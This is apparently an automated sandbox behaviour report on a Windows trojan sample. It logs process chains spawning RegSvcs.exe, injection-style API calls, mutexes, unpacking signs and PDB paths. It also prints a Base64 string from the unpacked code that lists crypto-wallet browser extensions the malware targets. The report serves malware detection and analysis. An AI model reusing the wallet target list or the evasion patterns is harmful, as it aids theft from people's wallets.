Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00401545 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_00401545
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00401551 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_00401551
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_0040155A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_0040155A
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00401564 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_00401564
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00401568 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_00401568
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_0040156E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_0040156E
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00401706 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	2_2_00401706
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_0040331C Sleep,GetModuleFileNameW,ExpandEnvironmentStringsW,lstrcatW,CreateFileW,MapViewOfFile,LocalFree,GetForegroundWindow,GetTokenInformation,ShellExecuteExW,NtCreateSection,NtQueryKey,NtEnumerateKey,strstr,wcsstr,tolower,towlower,	2_2_0040331C
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_00409543 GetWindowsDirectoryW,NtAllocateVirtualMemory,EnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,LeaveCriticalSection,LdrEnumerateLoadedModules,	5_2_00409543
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_0040E48D NtQuerySystemInformation,	5_2_0040E48D
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_00401B2C NtQueryInformationProcess,	5_2_00401B2C

Source: C:\Users\user\AppData\Local\Temp\72E5.exe

Code function: 5_2_0040B453: DeviceIoControl,

5_2_0040B453

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 72E5.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: rgrsiwf.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: re.exe.18.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rgrsiwf

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@23/21@35/10

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: file.exe	ReversingLabs: Detection: 35%
Source: file.exe	Virustotal: Detection: 33%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rgrsiwf C:\Users\user\AppData\Roaming\rgrsiwf
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\72E5.exe C:\Users\user\AppData\Local\Temp\72E5.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\72E5.exe "C:\Users\user\AppData\Local\Temp\72E5.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\66CA.exe C:\Users\user\AppData\Local\Temp\66CA.exe
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process created: C:\Windows\Temp\123.exe "C:\Windows\Temp\123.exe"
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process created: C:\Windows\Temp\321.exe "C:\Windows\Temp\321.exe"
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 220
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2952 -s 220
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\72E5.exe C:\Users\user\AppData\Local\Temp\72E5.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\66CA.exe C:\Users\user\AppData\Local\Temp\66CA.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process created: C:\Windows\Temp\123.exe "C:\Windows\Temp\123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66CA.exe	Process created: C:\Windows\Temp\321.exe "C:\Windows\Temp\321.exe"	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0bf754aa-c967-445c-ab3d-d8fda9bae7ef}\InProcServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\72E5.tmp

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\72E5.exe

Code function: 5_2_00989436 CreateToolhelp32Snapshot,Module32First,

5_2_00989436

Source: 12.3.123.exe.10a0000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: 14.2.RegSvcs.exe.400000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV

Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Mutant created: \Sessions\1\BaseNamedObjects\WTfewgNmxpcaVXHKTu
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\SmartLoader401
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5540:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5080:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess728
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2952

Source: C:\Users\user\Desktop\file.exe	Command line argument: 0DA		0_2_00414380
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Command line argument: 0DA		2_2_00414380

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: 72E5.exe, 00000005.00000002.430499796.0000000000410000.00000040.00000001.01000000.00000007.sdmp, 72E5.exe, 0000000A.00000002.445067575.0000000000410000.00000040.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 66CA.exe, 0000000B.00000000.455289701.0000000000AD3000.00000002.00000001.01000000.00000008.sdmp, 66CA.exe, 0000000B.00000002.462274918.0000000000AD3000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: 72E5.exe, 0000000A.00000002.449996913.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 72E5.exe, 0000000A.00000002.521165386.0000000004E09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\piguwupofena\womoponesosona n.pdb source: file.exe
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: 72E5.exe, 0000000A.00000002.457122232.00000000025DD000.00000004.00000020.00020000.00000000.sdmp, 72E5.exe, 0000000A.00000002.521165386.0000000004E09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: NC:\piguwupofena\womoponesosona n.pdb source: file.exe
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: 72E5.exe, 0000000A.00000002.449996913.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 72E5.exe, 0000000A.00000002.521165386.0000000004E09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: 72E5.exe, 0000000A.00000002.457122232.00000000025DD000.00000004.00000020.00020000.00000000.sdmp, 72E5.exe, 0000000A.00000002.521165386.0000000004E09000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Unpacked PE file: 5.2.72E5.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Unpacked PE file: 10.2.72E5.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Unpacked PE file: 2.2.rgrsiwf.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Unpacked PE file: 5.2.72E5.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Unpacked PE file: 10.2.72E5.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040320E push eax; ret	0_2_004032EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402727 push 0000007Dh; ret	0_2_00402729
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401138 push ss; iretd	0_2_00401175
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402F89 push 00000028h; ret	0_2_00402F8F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040118F push ss; iretd	0_2_00401175
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403298 push ds; ret	0_2_004032B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D52D push ecx; ret	0_2_0040D540
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_0040320E push eax; ret	2_2_004032EC
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00402727 push 0000007Dh; ret	2_2_00402729
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00401138 push ss; iretd	2_2_00401175
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00402F89 push 00000028h; ret	2_2_00402F8F
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_0040118F push ss; iretd	2_2_00401175
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_00403298 push ds; ret	2_2_004032B1
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_0040D52D push ecx; ret	2_2_0040D540
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_007F11F6 push ss; iretd	2_2_007F11DC
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_007F2FF0 push 00000028h; ret	2_2_007F2FF6
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_007F2DE8 push 000000C2h; retn 0000h	2_2_007F2EF9
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_007F119F push ss; iretd	2_2_007F11DC
Source: C:\Users\user\AppData\Roaming\rgrsiwf	Code function: 2_2_007F278E push 0000007Dh; ret	2_2_007F2790
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_0040A3BD push eax; retf	5_2_0040A3BE
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_0098EC26 push eax; retf	5_2_0098EC27
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_0098D458 push ecx; retf	5_2_0098D45A
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_0098D44D push ecx; retf	5_2_0098D454
Source: C:\Users\user\AppData\Local\Temp\72E5.exe	Code function: 5_2_00989F1C push ds; retf	5_2_00989F1E

Source: 66CA.exe.1.dr	Static PE information: section name: .didat
Source: 123.exe.11.dr	Static PE information: section name: .live1
Source: 321.exe.11.dr	Static PE information: section name: .live1

Source: C:\Users\user\AppData\Local\Temp\66CA.exe

File created: C:\Windows\Temp\__tmp_rar_sfx_access_check_5221265

Jump to behavior

Source: initial sample	Static PE information: section name: .text entropy: 7.432579762443802
